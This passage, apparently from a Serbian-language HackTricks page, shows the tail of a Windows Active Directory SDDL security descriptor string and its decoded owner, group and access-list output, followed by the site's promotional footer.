819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Vlasnik            : BUILTIN\Administrators
Grupa            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini podrške HackTricks-u:

* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>